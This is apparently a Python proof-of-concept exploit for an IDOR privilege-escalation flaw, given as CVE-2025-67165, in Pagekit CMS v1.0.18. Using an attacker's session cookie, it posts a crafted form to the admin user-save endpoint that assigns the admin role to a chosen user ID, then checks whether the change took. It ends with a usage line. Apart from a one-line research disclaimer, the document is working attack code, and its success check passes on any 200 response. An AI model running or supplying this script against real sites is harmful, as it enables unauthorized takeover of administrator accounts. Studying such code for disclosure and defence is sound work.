The following code is for security research and authorized testing only.
python
# CVE-2025-67165 IDOR Privilege Escalation PoC
# Target: Pagekit CMS v1.0.18
# Vulnerability: Insecure Direct Object Reference in user role management
import requests
import argparse
def exploit_idor(target_url, attacker_cookie, target_user_id):
"""
Exploit IDOR vulnerability to escalate privileges
"""
# Step 1: Capture current user session and identify vulnerable endpoint
session = requests.Session()
session.headers.update({'Cookie': attacker_cookie})
# Step 2: Identify vulnerable API endpoint for role assignment
# The vulnerability exists in the role/user assignment mechanism
vulnerable_endpoint = f"{target_url}/admin/user/save"
# Step 3: Manipulate user_id parameter to assign admin role to target user
# Original request: POST /admin/user/save with user_id=current_user
# Malicious request: POST /admin/user/save with user_id=target_user (1 for admin)
exploit_payload = {
'id': str(target_user_id), # Target user ID to escalate
'role': '1', # Admin role ID
'status': '1', # Active status
'name': 'manipulated',
'username': 'test',
'email': '[email protected]',
'password': ''
}
try:
response = session.post(vulnerable_endpoint, data=exploit_payload, timeout=10)
if response.status_code == 200:
# Verify privilege escalation
verify_url = f"{target_url}/admin/user/edit?id={target_user_id}"
verify_response = session.get(verify_url)
if 'admin' in verify_response.text.lower() or response.status_code == 200:
print(f"[+] Privilege escalation successful! User {target_user_id} is now admin.")
return True
print("[-] Exploitation failed or target not vulnerable.")
return False
except requests.exceptions.RequestException as e:
print(f"[-] Request error: {e}")
return False
# Usage: python cve-2025-67165.py --url http://target.com --cookie "session=xxx" --target-id 1